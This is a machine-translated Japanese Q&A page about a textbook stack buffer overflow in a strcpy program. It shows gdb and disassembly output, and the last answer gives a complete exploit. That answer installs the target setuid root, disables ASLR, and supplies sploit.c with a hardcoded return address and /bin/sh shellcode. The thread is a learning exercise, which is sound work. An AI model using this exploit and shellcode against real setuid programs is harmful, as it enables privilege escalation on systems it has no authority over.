web-dev-qa-db-ja.com

基本的な悪用の例ではEIPを上書きできません

次のコード(strcpy_ex.c)がある単純なバッファオーバーフローを複製しようとしています。

#include <string.h>

int main( int argc, char** argv ) {
        char buffer[500];
        strcpy(buffer, argv[1]);
        return 0; 
}

私が使用してコンパイルするもの:

gcc -m32 -z execstack strcpy_ex.c -fno-stack-protector -o strcpy

目標は、500文字を超えるバッファでバッファを埋めるときに、バッファオーバーフローの欠陥を利用してシェルを実現することです。

私が読んだ文献から、実行フローを変更し、シェルコードが存在するメモリアドレスをポイントするように、EIPを上書きすることを期待していました。これを実現するために、バッファを「A」と「B」で埋めて、上書きが行われる場所を特定しようとしました。

(gdb) r $(python -c "print 'A'*500+'B'*500")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Examples/Buffer Overflow/strcpy $(python -c "print 'A'*500+'B'*500")

Program received signal SIGSEGV, Segmentation fault.
0x565555ec in main ()

残念ながら、EIPを上書きできなかったようです。 EIPで値0x42424242が見つかると予想していましたが、見つかりませんでした。

(gdb) i r eip esp
eip            0x565555ec   0x565555ec <main+76>
esp            0x4242423e   0x4242423e

ASM命令に関する追加情報:

(gdb) disas main
Dump of assembler code for function main:
   0x565555a0 <+0>: lea    0x4(%esp),%ecx
   0x565555a4 <+4>: and    $0xfffffff0,%esp
   0x565555a7 <+7>: pushl  -0x4(%ecx)
   0x565555aa <+10>:    Push   %ebp
   0x565555ab <+11>:    mov    %esp,%ebp
   0x565555ad <+13>:    Push   %ebx
   0x565555ae <+14>:    Push   %ecx
   0x565555af <+15>:    sub    $0x200,%esp
   0x565555b5 <+21>:    call   0x565555ed <__x86.get_pc_thunk.ax>
   0x565555ba <+26>:    add    $0x1a46,%eax
   0x565555bf <+31>:    mov    %ecx,%edx
   0x565555c1 <+33>:    mov    0x4(%edx),%edx
   0x565555c4 <+36>:    add    $0x4,%edx
   0x565555c7 <+39>:    mov    (%edx),%edx
   0x565555c9 <+41>:    sub    $0x8,%esp
   0x565555cc <+44>:    Push   %edx
   0x565555cd <+45>:    lea    -0x1fc(%ebp),%edx
   0x565555d3 <+51>:    Push   %edx
   0x565555d4 <+52>:    mov    %eax,%ebx
   0x565555d6 <+54>:    call   0x56555400 <strcpy@plt>
   0x565555db <+59>:    add    $0x10,%esp
   0x565555de <+62>:    mov    $0x0,%eax
   0x565555e3 <+67>:    lea    -0x8(%ebp),%esp
   0x565555e6 <+70>:    pop    %ecx
   0x565555e7 <+71>:    pop    %ebx
   0x565555e8 <+72>:    pop    %ebp
   0x565555e9 <+73>:    lea    -0x4(%ecx),%esp
=> 0x565555ec <+76>:    ret    

コードが単純であるため、バッファーがいっぱいになった直後にEIPを上書きしないでください。

この状況で何の違いもないとしても、ASLRがオフであることを明確にしたいと思います。

何が欠けていますか?


プラットフォームについて:

# uname -a
Linux kali 4.9.0-kali4-AMD64 #1 SMP Debian 4.9.30-2kali1 (2017-06-22) x86_64 GNU/Linux
1
Jausk

私は本当にここで何かが足りないかもしれませんが、これを利用する最も簡単な方法は、strcpy()呼び出しが別の関数にあることです。このようにして、格納された返信アドレスを上書きし、本質的にEIPを制御できるようにします。

あなたの主な機能は、あなたがコントロールする空間には戻りません。

コードを次のようにします。

#include <string.h>

void vuln(char *arg) {
    char buffer[500];
    strcpy(buffer, arg);
}  

int main( int argc, char** argv ) {
    vuln(argv[1]);
    return 0; 
}

オーバーフローは、vuln()が終了し、格納された(ただし上書きされた)戻りアドレスをフェッチしてmain()に戻るときに発生します。

それはあなたを始めるはずです。

2
ndrix

それは私のために働いた。シェルコードをバッファに埋め込み、eipを上書きしてバッファ内のシェルコードをポイントし、シェルを実行することができました。したがって、 @ ndrixanswer には同意しません。 main()は引き続き関数であり、ebpとeipはオーバーフローする可能性があるため、制御フローを乗っ取ることができます。


コードの共有を求める複数のリクエストを受け取ったので、共有して説明させていただきます。

以下は、この作業を行うために必要な最小限のファイルです。

1)target.c:利用するターゲットの脆弱なコード(OPが必要とするのとまったく同じ)。

2)target.cのコンパイラフラグとその他のMakefileスニペット。

3)sploit.c:悪意のあるargvをtarget.cに渡すエクスプロイト。

4)shellcode.h:エクスプロイトによってターゲットのバッファに埋め込まれるシェルの16進文字列。

5)sploit.cのコンパイラフラグおよびその他のMakefileスニペット。

6)いくつかのシェルコマンド(必要に応じて、スクリプトに含めることができます)。

エクスプロイトは通常、システム固有です。システムには、cpu Arch、OS、コンパイラーなどが含まれています。したがって、コードを見る前に、テストシステム構成(Ubuntu 16.04.2 LTSを搭載したx86(32ビット)システム)を見てみましょう。

$ uname -r
4.4.0-72-generic

$ uname -m
i686

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.2 LTS
Release:    16.04
Codename:   xenial

$ gcc --version
gcc (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

$ ldd --version
ldd (Ubuntu GLIBC 2.23-0ubuntu7) 2.23
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

以下はtarget.cです(必要なOPとまったく同じです)。

#include <string.h>

int main( int argc, char** argv ) {
        char buffer[500];
        strcpy(buffer, argv[1]);
        return 0;
}

ユーザーShellではなくルートShellが必要な場合は、「setuid(0);」を実行する必要があることに注意してください。あなたのtarget.cで.

以下は、target.cのgccコンパイラフラグです。

CFLAGS := -ggdb -g -std=c99 -D_GNU_SOURCE -fno-stack-protector -Wno-format-security -z execstack -mpreferred-stack-boundary=2

コンパイルされたターゲットを/ tmp(ターゲットのMakefile内など)にインストールします。

install -o root -t /tmp target
chmod 4755 /tmp/target

ASLRが無効になっていることを確認します(ルートとしてのシェルコマンド)。

#: echo 0 > /proc/sys/kernel/randomize_va_space

以下はエクスプロイト(sploit.c)です。

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target"

#define MEMFILL 0x33 // Fill memory with something.

int main (void)
{
        char buf[500 + 2 * sizeof (void *)];
        memset (buf, MEMFILL, sizeof (buf));

        // Stop strcpy() at 507th index.
        memset (&buf[507], '\0', sizeof (char));

        // C strings are always appended with '\0' at the end.
        // Do NOT copy '\0' so strcpy() can continue copying
        // beyond strlen (shellcode), so that it overflows the
        // return address at (buf[504] through buf[507]).
        memcpy (&buf[0], &shellcode, sizeof (shellcode) - 1);

        // Get runtime &buffer[0] in target using gdb.
        void *ptr = (void *) 0xbffffa74;
        memcpy (&buf[504], &ptr, sizeof (void *));

        char *args[] = { TARGET, buf, NULL };
        char *env[] = { NULL };

        execve(TARGET, args, env);
        fprintf(stderr, "execve failed.\n");

        return 0;
}

シェルコード(shellcode.h)は次のとおりです。

static const char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

エクスプロイト(sploit.c)に必要な唯一のコンパイラフラグは次のとおりです。

CFLAGS := -ggdb

お役に立てれば。何か見逃した場合はお知らせください。

1
ZeZNiQ